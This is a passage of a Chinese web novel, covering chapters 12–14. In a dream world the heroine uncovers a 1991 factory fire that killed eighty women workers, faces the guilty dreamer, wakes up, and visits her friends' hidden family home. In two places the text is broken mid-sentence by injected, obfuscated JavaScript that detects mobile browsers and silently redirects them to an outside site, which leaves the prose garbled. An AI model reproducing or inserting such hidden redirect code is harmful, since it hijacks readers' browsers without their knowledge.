栏上,甩开焦人大段距离因此她还能顺势落了锁,后退一步,下一秒,那些焦人扑扑簌簌地全撞在门上,跑在前面的已经被大门阻拦,可是后面的焦人却不见退缩,更加疯狂地往门口冲来,导致几秒的时间里焦人层层叠叠的堆积起来,满满当当挤得不留缝隙。 夏烛抬起来头,三楼窗户的铁丝网内闪烁着密密麻麻的焦黑的人脸。 焦人竟然多到堆叠起来有三层楼那么高。 门内的焦人们双手握成拳头伸出栅栏对着她疯狂挥着手。幸好落了锁,否则看这个架势这群焦人很可能会打破游戏规则冲出这栋大楼。夏烛瞅着铁门还算坚固,于是走上前去查看,奇怪的是,这些焦人的表情看上去好像并不是那么穷凶极恶,即使它们面目狰狞,夏烛反而能从那一张张脸上看到一些绝望和恐惧。 离她最近的一个焦人将脸死死贴在栅栏上,它的模样和别的焦人有些不同,炭黑的脸上流着几滴粉色的蜡状凝固物,贴近一看是一块粉色塑料残片嵌在了它裂开的头骨里,与周围的皮肉粘黏在了一起。 人和发夹,像是在同一场火灾中燃烧过。 火灾? 夏烛后退一步。 女生的声音在她脑海中回放。 “你看,我这样像不像洋娃娃呀。” 她拿起一只塑料蝴蝶结比在自己的发上,对着一旁的女生说着。 “好啦,别臭美了,小心被抓到了扣你钱!” 夏烛有些不敢相信自己的推断,她看着奋力想要冲出大楼的人群,将手伸进了上衣口袋,摸到那把能打开面前之门的钥匙。 一颗心开始剧烈跳动,她转头跑进员工宿舍楼。 一楼,二楼,沉寂在黑夜里的大楼中,每一间紧闭的房门里都传来让人心惊的哭声,那些声音和周晓莉一样哀愁,幽怨,悲伤。 一步步走上台阶来到自己的寝室门前,走廊一侧,女孩清亮的歌声从哭泣里破出,幽幽荡荡穿过长长的伸手不见五指的走廊,追着玉色的月光飘出窗外。 “月落乌啼总是千年的风霜……” “涛声依旧不见当初的夜晚……” 夏烛轻轻打开房门,吴燕和何雨娇仍在熟睡之中,而周晓莉的床铺静悄悄的,已经不再哭泣。她和衣躺进自己的床,睁着眼睛盯住头顶木板底下的纹路。 她需要时间串联起一切。 一场火灾;紧闭的逃生通道;白天抱怨天热的女孩们夜晚就隐去身影于深夜悲泣;在同一个时间请假的两个室友却很正常,没有消失在各自的床铺上,也不会传出哭声;同寝的周晓莉和工厂的经理似乎关系匪浅。 真相在夏烛头脑中慢慢清晰,各条线索之间生长出引线牵连在一起。 可还有最关键的一条至今模糊不明,那个地方隐约透出了一角,她却揭不开覆在上面的薄膜。 如果这是一场因为火灾发生导致多人,也许是多达八十人葬生火海而产生执念的梦境,那做梦的人是谁? 拥有能让夏烛离开的关键之物的魉,到底是谁。 12.这里好热,带我出去(完) 一夜无眠,她睁着眼睛到天亮,何雨娇和吴燕去车间了,夏烛称说自己不太舒服,今天就不去了。 两人走后,她才从床上坐起,也不知道在梦里不遵守工厂的规矩制度旷班会怎么样。 今天仍旧是阴天,梦里似乎片刻没有明媚过。 再次从被护栏遮得严严实实的窗户看下去,院里蓝色的人潮就像阴天里一朵一朵水汽饱满的云,潮湿地遮蔽原本灿烂的阳光。 她有些头疼,觉得自己隐隐觉察到了这场梦境的关键人物,可就是无法切实抓住,在不大的屋子里来回走了几圈,夏烛又躺回了床上,吴燕床铺底下的木头纹理有助于她理清思绪。 不知道是不是一夜没睡的原因,或者脑细胞消耗太多,夏烛这一躺竟然不知不觉中睡着了。等她再次醒来,屋内的光线已经暗得不行,书桌上何雨娇的闹钟显示已经是晚上六点四十五了。 这一觉睡了一整个白天,车间那边这会儿都快散工下班了。 休息了一会儿头脑确实清明了许多,夏烛觉得自己的思考能力又再次恢复,她下了床,站在没有拉亮电灯的房间中央,回想自己第一晚从这间屋子里醒来的场景。 夜半的哭声,看似正常的舍友,一览无余的房间。 这些天来发生的一切都在她脑海中迅速过了一遍。 然后她就意识到自己犯了一个大错,一个从一开始就偏离轨道的错。 走到书桌旁边,夏烛拉开了唯一没上锁的那个抽屉。 今天的黄昏罕见有了颜色,就在天地一线之间,夹杂着金黄色的丝丝缕缕的流云,夏烛穿过院子跑进车间大楼,当然这里已经恢复正常,没有前一晚的焦人群堵住大门。 一口气爬上三楼,下班的铃声已经从广播里传来,有人陆陆续续出现在走廊中,夏烛逆向挤在人群里,终于挤进了302车间,她远远看见何雨娇从工位上站起身,身边吴燕也在。何雨娇也看见了夏烛,她同吴燕交换了一下眼神,两人都朝夏烛看过来。 “身体好点了吗?这会儿都下班了,你怎么还过来了?”何雨娇看着夏烛走到跟前。 她点了点头,不想再做额外的寒暄,于是开门见山。 “周晓莉和王经理是什么关系?” 夏烛刚说完,就见两人的脸色一变,何雨娇换下那副熟络热情的脸,嘴角和眉毛默契地往上一挑,她的眼睛将夏烛从头到脚扫了一遍,夏烛觉得自己心跳开始变快。 “你说呢?你觉得是什么关系呢?”何雨娇的语气连同表情都显得意味深长。 夏烛正要说话,一直沉默的吴燕突然嗤笑出声,她苍白的脸上挂着两块巨大的青黑眼圈,衬得她本就大的双眼更是要掉下来一样。 吴燕保持着一种从下往上看的姿势盯着她,从嘴里一字一顿吐出音节:“自欺欺人。” “什么……”夏烛话还没说完,车间内的灯光突然熄灭,只有微微的天光从高窗透进来,身边的何雨娇和吴燕神色不变,只是保持同样的姿势盯着她一言不发。 夏烛抬起头,她注意到正对着她们的窗户上,密不透风的防护网中挂着一丝丝飘带一样的东西,正在迎风招展。她身边,平时工位旁的女生,从刚才起就在座位上埋着头理着什么东西,这会儿朝着夏烛的方向转了个身,借着昏暗天光,她也看清了女生手里的动作。 女生已经完全变了样子,大半头发从焦黑的头顶脱落,另一些粘黏在头皮上,她正用残缺的手往身体里掏送着从胸腔流出来的烂肉,只是因为手掌心中间的肉有一半掉落耷拉着,空出缝隙,那些碎肉刚被捞起又从漏洞里流掉。 女生边捞边念叨着“不好看了”“不好看了”,她的头顶还卡着一半粉色的塑料片。 夏烛转头看去,整个车间不止这一个焦人,座椅上,门口,窗下都站着一些。 她们都是曾在这里辛勤工作的女工。 “滋滋——”,头顶的白炽灯管闪烁了几下,又重新亮起来,身边的景象皆恢复正常,何雨娇和吴燕不再看她,面无表情地从她身边走过,消失在门口。 夏烛沉默了一瞬,然后追了出去。 可是两人明明才刚离开,她一路跑进院里却不见二人的身影,这会儿天完全暗了下来,刚才还人来人往的四周如今静悄悄的,别说何雨娇和吴燕了,一个人也没有。 天一黑,也许此处就不再安全,她想了想先回寝室去。 走在楼梯上,夏烛正回想着刚刚何雨娇二人的神色态度和她们口中的话,空荡荡的楼道里突然传来清晰可辨的哭声,只是都不再像往日那般哀怨空灵,反而充满了怨毒凄厉。 夏烛预感不妙,按照道理这个时候太阳刚刚落山,哭声不该这么早出现,她大步跑起来,哭声却紧紧追着在身后。 推开寝室的门,何雨娇和吴燕坐在书桌前,天色已暗她们却不开灯。夏烛直接走上前去,她直视着何雨娇的双眼。 “我是谁?”夏烛问道。 “什么?”何雨娇一副很好笑的模样,“小夏你这是这么了?” “我是谁?”她继续问。 “你是小夏呀。” “我的,名字。” 何雨娇往椅背上一靠,眯起眼睛,黑暗中辨不出神色。 “夏丽芳,你发什么神经呢。” 深呼一口气,夏烛心里的猜想被证实。 夏丽芳,何雨娇口中的小夏从来都不是指夏烛,她从一开始就错了,认定自己进入梦中仍会是自己,原来她扮演的一直是另外一个人。 那么,王经理口中的“晓莉”应该是“小丽”才对,所以那个精致昂贵的首饰盒才会出现在夏烛也就是夏丽芳的抽屉里。 现在,出梦的关键就是。 “哪里有镜子。”夏烛俯下身去逼近何雨娇。 “要镜子干什么。” 她用双手撑住何雨娇的椅子扶手,将其圈在里面。 “这个地方,哪里有镜子。”夏烛面无表情地重复。 何雨娇似乎被吓到,她有些结巴。 “仓,仓库里的杂物间就有……” 杂物间?上一次去的时候怎么没看到,她瞥到吴燕书桌上的手电筒,顺手拿起,再摸了一下上衣口袋,确保钥匙还在里面。 “谢谢。”夏烛对呆坐在椅子中的两人说道,然后转身离开了寝室。 耳边的哭声尖利几乎刺穿耳膜,夏烛闷头奔跑不理会那些快要凝成型的声音卷住她的发丝。现在她终于明白了昨天夜里的那群焦人为什么追着自己,因为她手里握着能让他们逃出炼狱火海的钥匙,也许“自己”就是造成这场灾祸的罪魁祸首,而她为了逃出车间大楼再一次锁上了那个逃生通道。 就像冥冥之中两个时空的重叠。 冲出寝室楼,背后的哭声骤然被室外的夜风吹散,瞬间的安静让她有些耳鸣,她回身看了一眼黑乎乎的门洞,哭声连同那些被大火困住的女孩们一起,永远留在了防护网密不透风的遮蔽之下。 夏烛心里闷闷的,几天的相处,她觉得那些女孩真实的好像自己身边的同学,差不多的年纪,青春靓丽,她们爱美娇俏,却又吃苦耐劳,思念来路上的家乡却又对茫茫未来充满希望,手里来回翻转的是好年华,高窗外不可触及的是好风光。 她没有了解过所谓时运和命途,她只觉得折损一朵向阳盛开的花是很可惜的事,不应该有这样的结局。 走到车间大楼的铁栅栏门前,腥甜的风从缝隙中涌出,夏烛掏出钥匙打开了沉重的锁链。进门右转,仓库大门敞着,和昨夜的景象相同,中央的地面上整齐摆着八十个玩具娃娃,如今她终于明白这是什么意思了。 熊熊火海中死去了八十个女孩,也许周晓莉就在其中,只是不知道为什么连白天也不见她的人影。 她刚走进仓库,就注意到了门外面的楼梯上传来响动,楼上的焦人又被惊醒了。转身关上了仓库的大门,锁芯是坏的,只能暂时推上,关门这样的举动,现在做起来很是别扭,但夏烛来不及难过,她得抓紧时间找到镜子。 仓库很空旷,一眼望去除了地上的玩具就没有任何东西,更别说一个堆满杂物的房间了,何况她还发现地上的玩具也在扭动着身体,有要爬起来的趋势。 四处看了看,只有正对大门的那面墙上没有窗户,也许杂物间的大门就隐藏在黑乎乎的墙体之中,于是夏烛快速穿过仓库,走到墙角开始摸索起来。 她还在地上发现了很多烟头,突然想起第一天看见的那几个抽烟的男人,如果是堆满货物的仓库,一个小小烟头也许就能使一切付之一炬,这个工厂还是生产玩具布娃娃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696273|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,易燃的材料那更不用说。 夏烛皱起眉头,她的手沿着墙面仔细地摸过,余光看见不远处地上的娃娃已经站起来了大半,而铁栅栏大门那边已经传来晃荡的响动。 就在大门被撞开,所有玩具娃娃站立起来的瞬间,她终于摸到墙面上有条隐藏得很好的缝隙,按着缝隙的位置使劲往里一推,墙上竟开了一扇门,夏烛闪进门中,关门前的最后一眼,她看见大门处焦黑的人群如同潮水般层层涌来,她们都朝着她的方向奋力伸出握成拳的手臂。明白了焦人就是火灾中丧生的女工们,夏烛无法再对她们生出恐惧。 打开手电筒,发现这个房间堆满了各式各样的东西,应该就是何雨娇说的杂物间了,夏烛拖过左手边的一个置物架抵住门的位置,开始在房内找起镜子。 不知道是不是这间屋子里积攒的灰尘太多,她总觉得视野开始模糊,眼前灰蒙蒙一片,这让她感觉像是回到了现实却没戴眼镜,有些没安全感。 “膨”的一记闷响从墙体传来,焦人似乎已经撞在了这面墙上,正在寻找着让夏烛从她们面前消失的门。揉揉眼睛,她赶紧继续翻找,门外的响动一声比一声剧烈,她的心也跟着颤动。 终于在两个纸箱遮住的角落,一块红布掩盖之下,夏烛找到了镜子。 她的视线已经完全模糊,只能蹲下身体凑近镜面,同样被灰尘覆盖脏兮兮的镜子里出现的是一张陌生的老人的脸。 老人的身体爬满皱纹,长出褐色的斑点,头发黑白混杂,眼球浑浊无法聚焦,正眯着眼睛与“自己”对视。 “夏丽芳。”夏烛叫出那个名字。 镜子里的老人迟疑了片刻,最终颤颤巍巍地点了点头。 “你就是魉,这个梦镜的主人。” “是我。”老人的声音沙哑。 “和王经理有关的人不是周晓莉,而是你,所以你才有写着经理名字,能开启车间大楼的钥匙?” 夏丽芳小而皱缩的眼睛痛苦地闭上,她颤抖着声音说道:“是我,都是我,他把钥匙给我,让我管理那些女工,我是车间的劳模,又拿到了钥匙,一时之间风头无两,我想拿出管理人的派头,不让那些加班的女工私自回寝……所以我锁上了门……” “可我没想到那晚,几个抽烟的人将还没熄灭的烟头扔在了仓库,也许是棉花和布料被引燃,也许是老鼠啃坏了电线,就几分钟的时间大火燃起窜上三楼,她们……她们都死了……”夏丽芳将脸埋进手心,声音含糊不清地从指缝里传出,“我不愿意面对自己害死八十条活生生性命的事实,于是只能在梦里颠倒黑白,处处暗示与王国斌纠缠不清的是别人,可我知道这些都是借口……都是我的错,都是因为我……” 她慢慢抬起脸来,眼睛在半空中失焦,仿佛看见了什么。 “那是,1991年……我才23岁,她们还那么年轻……” 夏烛看着眼前过分苍老并不像五十多岁年纪的夏丽芳,也许是愧疚让她在余生年岁中加速衰败,月月年年不肯忘怀,午夜梦回之时将自己困于1991年的一段时光里。年轻女孩们的生命因她永远停在了那里,只有夏丽芳老成了她们永不能达抵达的模样,除了时间以外,还有别的东西催人性命。 导致这场让人唏嘘的灾难发生的不止她一个人,这间工厂里还有很多人,随手犯下的小小错误却酿成滔天大祸,夏烛不知道那些人是否也会像夏丽芳一样愧疚到生出心魔,还是庆幸自己不曾身处灾祸之中,面对夏丽芳她一时不知道该说些什么。 一声巨大的响动从门口传来,焦人将门撞开一丝缝隙,几双炭黑的手伸了进来,推着抵门的置物架。 夏烛刚想开口问夏丽芳石头的事情,就见镜中的人伸出手,放进自己的口袋。她反应过来,也将手伸进上衣右侧的口袋里,摸到一块冰凉的,硌手的石头。 置物架倒塌,门被完全撞开,无数黑色的人影挤在门框里,残肢断臂掉落一地。 拿出石头握在手心,天生相石发出莹莹绿光,夏烛觉得自己开始头晕目眩时,一张面目狰狞的脸冲到了她的面前,粉色的塑料片卡在头骨里,皮肉翻起的手使劲捏住了她的手臂。 “这里好热,带我出去……” 恍惚间听到焦人破碎的声音,可她使不上力只能闭上眼睛向后倒去。 13.风水宝地,指点迷津 夏烛睁开眼睛就看见两颗亮晶晶的太妃糖眨巴眨地悬在她面前。 “老妈保佑!阿烛你终于醒了!” 风枫凑到夏烛面前,先在她眼前挥挥手,又伸出两指放在人中处探她的鼻息,最后又要上手扒拉她的眼皮。还好风眠从后座探出头制止了风枫的一系列生命特征检查。 “好了小枫,醒了应该就没事了。” 车窗外是往后倒去的山野,车厢摇摇晃晃行驶在路上,乘客已经稀稀拉拉不如刚上车时那样拥挤。夏烛低下头摊开手心,那里静静躺着一颗绿色的石头。 看来梦中的时间流速与现实并不相同,她还在这辆开往树山镇的车上。 旁边的风枫看见她手里的天生相石,一脸惊魂未定。 “你果然又进梦了!阿烛你都不知道,你睡了整整两个小时,俺和风眠怎么叫都叫不醒,怕你是进梦了又不敢惊动车上的其他人!”她说着又托起夏烛的手臂里外翻看,“阿烛你没事吧。” 夏烛只觉得有些胸闷,在梦里度过了压抑阴沉的三天,她将车窗推开,虽然冬天的太阳晒不透凉风,但至少能疏通一下她浑身的经脉。 她朝风枫努力扯出笑来,摇摇头说:“我没事,别担心。” 可是风枫还是睁着略显惊恐的大眼睛。 “吓死俺了,阿烛,意识到你是入梦了俺差点晕过去,之前忘记告诉你,不明官在梦里受伤或者被魉攻击而……死去,出梦后也会带着伤,甚至直接就是一具尸体,在梦里死了就是死了!”风枫差点吼出声,她瞅了瞅四周压低嗓音神色严肃又说,“任何家族都不允许不明官只身入梦,就算是绿石级别的梦境也必须两人组队进去,还有,不明官从来都是肉身入梦,阿烛,你却能意识入梦,俺很担心,如果你在梦里遇到危险,那现实会不会也……” 风枫说不下去了,她的眼睛亮晶晶地耷拉着,夏烛能感受到她的担忧,于是伸出手握住了她的手腕。 “我现在完好无损地坐在这里,风枫,不用再担心了。” 夏烛和风眠劝了好一会儿,风枫才从担惊受怕的情绪里挣脱出来,她说自己实在难受,夏烛在世界上都没有别的亲人了,这会儿又刚陷入身世之谜,如果出了意外有什么好歹,那夏烛同学实在太可怜了。 她只好用些别的话题转移风枫的注意力。 “你刚才说过绿石级别的梦?难道这些梦境还分等级?” 风枫恢复神色,兴奋起来。 “没错!梦境等级按魉体内的天生相石种类划分,绿红白,易中难,对应最少入梦人数为两人,三人,五人。阿烛,你一个人从绿石梦境里出来了!简直又是不明官历史上第一人!快告诉俺,你都遇到什么事儿,怎么出来的!” 夏烛顶着风枫的星星眼将三天梦境的来龙去脉简单地讲了一遍,只看见风枫的眉毛越皱越紧。 “你是说……你在梦境里扮演的角色就是魉本身?啧啧啧,稀奇稀奇。”风枫捏着下巴,“风眠,这种情况还是头一回见到,你说,会不会和阿烛意识入梦有关?”她挤在两个座位中间的缝隙里和后座的风眠交流探讨着。 “话说回来,阿烛你入梦的契机是什么?这两次中间就再也没进去过吗?”风枫想起什么,转头问夏烛。 “确实,自从在梦里遇见你们那天之后,这是我第二次做梦。”夏烛点点头。 “难道你只要睡着做梦了就会进入魍魉之梦?那是有点危险了!阿烛,坚持住,在俺们到家之前千万别睡!” 风枫为了她别再睡着,缠着夏烛反反复复讲了好几遍这次梦境的内容。 大巴车在一小时后到达了树山镇,天色暗沉,稀薄的残阳在平原尽头的山脊线上接缝。夏烛三人下了车,风眠走在前头,风枫告诉她还要步行一段路,沿着大路上走了几分钟,又拐进田埂,几人追着落日的方向一前一后走在田间。 北方的冬天,天黑得早,夏烛掏出手机一看不过下午四点,晚风干冷穿过大地苍茫,经由平原上几棵干枯的枣树变得又冷又硬,吹在脸上生疼。 身上穿着冬天仅有的一件棉服,她还往里面卷心菜一样套了校服,毛衣,衬衫,甚至贴身穿了一件短袖,还好背上的双肩包起到了微弱的挡风作用。呵出白雾拢在手心,风眠在前引路,风枫跟在她身后甩着手臂,夏烛边走边偏过头去。 “冷吗?”她问风枫,自己的书包里还有一条去年冬天织的围巾,风枫穿得像个野人,实在太单薄。 “No no——”野人摇摇头,她走得不安分,上蹿下跳,绿叶纷纷从指尖飘落,掉在长满枯草的田埂上又消失不见。 夏烛点头重新看向前方的路,金光染上远方村落的屋顶,风枫在身后哼起了她没听过的小调。 在田野里七拐八拐不知道走了多久,夏烛眼看着远处升起白线炊烟的人家在视野里越走越偏越来越远最后消失不见,她原本以为那个村庄会是三人的目的地。 天已经完全黑了三人走进了个树林子,踩着枯枝败叶又是十几分钟。 “到了。”最前面的风眠终于停下了脚步。 到了?到哪里了?到月黑风高杀人放火顺便藏尸之地了?她看着眼前这个破败不堪,将塌未塌的茅草屋不敢说话,怕冒犯了兄妹二人的家。 风枫跳到她面前,朝茅草屋的方向一抬下巴,嘟着嘴问夏烛:“如何呢。” 夏烛往四周看了看,方圆十里仅此一间茅草屋掩在狂舞枯枝的树丛之下,抬头也不见月亮,点了点头说出一个中肯的评价。 “风水宝地。” 风枫抱着头狂笑,夏烛生怕她因此引来此地更符合生存资格的原住民。 “别逗她啦,进来吧。”风眠也笑。 “进去再说进去再说!”风枫拖着她的手一起进了茅草屋。 进去一看,果然,茅草屋败絮其外,败絮其内,外面什么样,里面也什么样,除了枯叶和漏风的墙板,整个房间只有中央一口枯井。 是这样的吗,夏烛不懂风水,但觉得甚有法门道理。 风枫往井中一指,对着她咧嘴一笑:“跳吧。” 两个江湖骗子千方百计千里迢迢将她骗到此处跳井,说来也不甚有趣,回去之后她定要写上一篇饱含情感的寒假作文。 夏烛还没说话,左手边的风眠单手撑着井边,双脚一跨就跳进了井里。她往井中一看,黑乎乎一团送上来些凉风。抬脸和风枫对视了一眼,在风枫充满鼓励的眼神之下,准备闭眼往下跳之时,就见风枫抬手往她脑门上一拍,然后周围一黑只觉得耳边有凉风飕飕刮过。 几秒钟之后,没等来落地的疼痛,夏烛跌坐在一团柔软的草藤之中,她的眼睛还没适应黑暗,就听到头顶传来风枫的大叫。 “俺来了俺 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“津津灯,照明用的,中间的果实也能吃,酸甜解渴!”风枫看出了夏烛的想法,她的手里也冒出灯亮。 津津灯小小一株,无根无系却能稳稳立在人的手心,且照亮四周大半的黑暗,夏烛很喜欢这棵神奇的植物,她莫名觉得风枫也像一株会发光又可口多汁的移动津津灯。 移动津津灯在前方引路。 “这一段路有些暗,风眠应该在前面等我们,他的津津灯估计用完了所以走这段路总是很快。”风枫一脸狡黠的转过头来对着夏烛悄声说道,“风眠可怕黑了!” “像这种能照明的植物还有吗?”夏烛忍不住问。 “当然啦,月魄芝,烛龙藤,明茎草,还有鬼眼蕉,不过鬼眼蕉会引来山魈,我可不喜欢那玩意儿,津津灯是我自己培养的,又能照亮又能吃!多好!” 夏烛跟在后面点着头,她也觉得好。 她一点头就发现自己额头上有异样,刚想伸手去碰就被风枫阻止了。 “阿烛别动,是我给你贴的叶子,这里有阿若表姐的鬼藤,取下叶子你就看不见正确的路了。”说着,风枫将手里的津津灯移到四周的墙壁上,果不其然爬满了暗绿色的带刺藤蔓。 “鬼藤是阿若表姐的相力,它会放出一些神经毒素,像给人的大脑灌进迷雾,专门为误入这里的普通人设的。阿烛小心一点哦,不要被刺到,你有我的叶子虽然不会迷路,但还是会疼嘛。” 井下的路像是蜿蜒的地下隧道,夏烛跟着风枫七拐八拐地走了几分钟,前方终于有了亮光,风眠也出现了,他朝两人招招手。 一接触到光亮,夏烛手里的津津灯就快速枯萎,蔫了下去,叶片和枝条变得干脆,风一吹就散了,只剩那颗不再发光但仍旧吸引人的果实留在手心。 “阿烛快尝尝!” 夏烛捏起津津灯的果实,表皮很软,小心放进嘴里,牙齿轻轻一碰果皮就裂开,清甜的汁水直接顺滑地流进喉咙,赶了一天路的口干舌燥全然不见了。 风枫笑眯眯地看着夏烛,很是满意自己的杰作,她伸手取下夏烛额头上的叶片,拉着她走到风眠身边。 她们此刻所在的位置像是一个几人高的土坑,只是坑中四壁长满了翠绿的嫩草,开满了不知名的彩色小花,望向头顶,井外世界不见踪影的明月却高悬此处,一条藤梯从坑壁垂下,看来她们得从这里爬上去了。 14.神说 夏烛从来没有见过这样的景色。 她攀着藤梯爬上地面,辽阔的土地上种满了四季不同的各式作物,夜色里萤火虫像倾洒而下的星斗在田间起伏,它们飘忽的身形好似大地的呼吸,暖黄色的光点聚集在一起足以照亮根茎下躲伏的小虫。远远看去土地被划分成了不同的区域,每一块地头都竖着一块一人高的木牌,木牌旁斜斜缀着一盏小灯。 她惊讶地发现地里此刻还有劳作的人在其间穿梭,散布在这片土地上的还有亮着灯火的一户户人家。竖起耳朵甚至能听到属于夏季的蝉鸣和秋天蟋蟀雨点似的声音。头顶有冬季时常看不见身影的月亮近在咫尺的明亮,星河清晰,夜风温暖,冻僵的四肢开始从末端融化,她从双脚感受到了大地的温度,那股暖气慢慢蒸腾上脸颊。 身后的兄妹俩也爬了出来,风枫牵过夏烛的手腕。 “阿烛,欢迎你!” 三人穿过长满紫色野花的草地,穿过一条潺潺小溪,路过几个热情招呼夏烛的人,风枫说那是她的四表姨和三姑父。 最后停在一栋两层楼的小院前,风眠上前推开木门,夏烛注意到门边挂着一块门牌,上面画着四个头戴花环的小人,小人下方是彩色蜡笔歪歪斜斜写着“枫眠的家”。 院子里有一棵红枫树,焰色更胜暗淡的天光,四周种遍开得繁茂的花,围墙脚下小池塘中还有几尾颜色稀奇在夜色中隐隐发光的小鱼。 风枫在院子里大叫:“老妈老爸!俺们回来啦!” 那扇亮着灯的玻璃门中,碎花棉帘晃动了一下,紧接着掀起一角,一个系着鹅黄色围裙,戴着袖套的中年男人推开了门,随着飘来一股食物的香味。 男人笑起来的时候眼睛弯弯,他的眉眼淡淡和风眠简直一模一样。 “回来啦,夏烛同学路上累不累,肚子一定很饿,饭马上就好哦。” 连说话的语气也像,男人简直是加大版的风眠。 风枫像炮弹一样冲进房间,一路上爆出很多装备,鞋子,小挎包,风眠跟在她身后将东西一样样拾起然后归位。 夏烛呆呆站在门口,木纹清晰的地板看上去干净明亮,她一时间不知道该不该踏进来。好在风眠总是贴心的存在,他从门口的鞋架里取下一双毛绒拖鞋放在夏烛面前。 “老爸新买的,专门为你准备的。”风眠眼睛弯弯,他安慰夏烛,“他们也许有点太过热情,你不用为自己的尴尬自责,怎么舒服怎么来就好,我和小枫很喜欢你,老爸老妈也会喜欢你的。” 夏烛在心里暗暗吐了口气,她努力朝风眠扬起一个和善的笑容,又怕显得怪异然后迅速地下头去,换起拖鞋。 风枫不知道又从哪里钻了出来,她嘴里塞满食物,说话含糊不清。 “达皱几!”她冲着夏烛张牙舞爪。 “达皱几!” 夏烛看不明白。 “老爸今晚做了大肘子,小枫的最爱,阿烛你喜欢吗?”风眠路过充当了一下翻译然后径直走向厨房。 夏烛点点头,她注意到风枫脸颊旁的酱汁,犹豫着要不要帮她擦掉,下一秒就被风枫自己用一个艰难的角度舔掉。 “阿烛,老妈在给你收拾房间!跟俺来!”说完就拉着夏烛穿过客厅,踩着木质的楼梯噔噔噔上了二楼。风枫家里随处可见绿植鲜花,楼梯拐角的窗户边甚至长满金灿灿的稻穗,在白色棉布做成的窗帘下随着夜风颤巍巍地摇摆。 二楼的走廊尽头竖着一把木梯通向阁楼。 “阿烛你喜不喜欢住阁楼,俺原本想把房间腾出来给你,俺去住阁楼!可老妈不同意!她总说俺会把阁楼弄得一团糟,哪有那么夸张,俺只是打算在上面建造一个植物培育基地!” “我住哪里都行的。”她真的住哪里都行,夏烛的适应能力很好,她甚至做过野外生存的练习,天为被,地为床,无论怎样她确信自己都能在这个世界上活得好好的。 风枫爬在前头,夏烛跟在她身后,阁楼的房间比想象的大了很多,宽敞明亮,并不压抑。家具器物一应俱全,甚至谈得上丰富温馨,老实说是她见过最好的房间了,看着绣满花枝的床铺,和书桌旁边堆满书籍的架子,夏烛鼻子有些发酸。 一个女人正站在窗边往绿色的玻璃花杯里装进一把紫风铃,夏烛盯着那个背影,红褐色的长发用一块头巾包在脑后,只掉出几缕扫在后颈处,女人的皮肤也并不白皙,和风枫一样是一种温暖的小麦色。她穿着一套浅紫色的棉布裙,袖口挽在手肘处,察觉到两人的存在,她放下手里的鲜花,转过身来。 一阵夜风吹过来,吹起女人垂落在外的发丝,夏烛闻到一股淡淡的带着温度的香,她不知道香气从何而来,可是她的眼眶却被蒸得发热。 “老妈!俺顺利把阿烛带回来了!”风枫冲向女人,像一只小鸟一样扑进女人的怀抱,毛茸茸的辫子在棉布衣裙上蹭得凌乱。 女人抬手揉了揉风枫的脑袋。 “总是这么厉害。”她说。 然后女人抬起头来,微笑着看着站在一边莫名显得可怜的夏烛,她朝夏烛伸出手臂,招呼她往前来,走到她身边去。 “夏烛同学也很厉害,跟着这个小皮猴赶了一天路,累了吧,过来,来这边,给我瞧瞧,小枫可是把你夸上天去了。”女人声音温柔又坚定,她看上去气血丰盈,脸色红润,招招手,夏烛就不自觉地挪动脚步,想要走到她旁边去,闻闻那香味是不是从她身上传来的。 她这样想着也这样做了,夏烛走了过去,顺着女人的姿势交出了自己手,女人的手温暖得不可思议,夏烛觉得自己脑袋晕乎乎的,她的脸颊有些发烫,呆呆地看着面前人的嘴一张一合。 她说:“夏烛同学我能和小枫一样叫你阿烛吗?” 夏烛点点头。 女人又说:“我叫风叶,是小枫和小眠的妈妈。知道你要来,我和他们爸爸都特别高兴,小枫说你是一个又漂亮又温柔的孩子,她从来不会看错人。” 夏烛觉得自己短暂地丧失了语言能力,她沉醉在风叶的温柔里不知道怎么张嘴说话了。 风叶?风枫和风眠原来是跟着妈妈姓的。 风叶看着夏烛呆头呆脑的模样不禁笑出声,她将自己怀里的风枫轻轻推了起来。 “阿烛,阿姨相信你肯定有很多疑惑,但是无论如何,得先吃饭。”风叶站了起来,“好了孩子们,下楼洗手吃饭吧。”说着她先走到木梯处,然后想起什么,回过头叮嘱夏烛把她的包卸下,就放在这里没事的。 以后这就是她的房间了。 夏烛这才回过神来。 “谢谢阿姨。”她想来想去,只能说这个。 风枫站在楼梯口那里哼着歌等夏烛,夏烛放下双肩包,从里面拿出四个爷爷做的驱蚊香包,她没有什么拿得出手的东西,只有这个能充当见面礼,她自己是很喜欢香包的味道,但不敢奢望风枫一家也会喜欢。 她将手里的艾草包递了一个风枫,风枫立马小狗一样捧起来使劲嗅个不停。 “原来是这个!阿烛俺就说你身上总有一股好闻的味道!艾草,苍术…还有点别的什么,俺很喜欢!谢谢啦!”说着就将夏烛的香包吊绳一起系在腰间和她的小布包挂在一起。 夏烛终于知道风眠这么好的手艺师从何人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713479|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄妹俩的爸爸好像姓姜,夏烛听风叶叫他老姜。 这一桌子丰盛的菜全出自老姜的手,夏烛感叹小枫的爸爸也许是厨神转世,她不好意思地顶着几人的眼光吃了三碗米饭。 好吃到想哭。 这是她这辈子吃过第二好吃的饭,第一当然是爷爷做的。客观的来说,爷爷并没有风枫爸爸的好厨艺,可是他做的饭菜夏烛再也吃不到了,所以永远在她的心里排上第一。 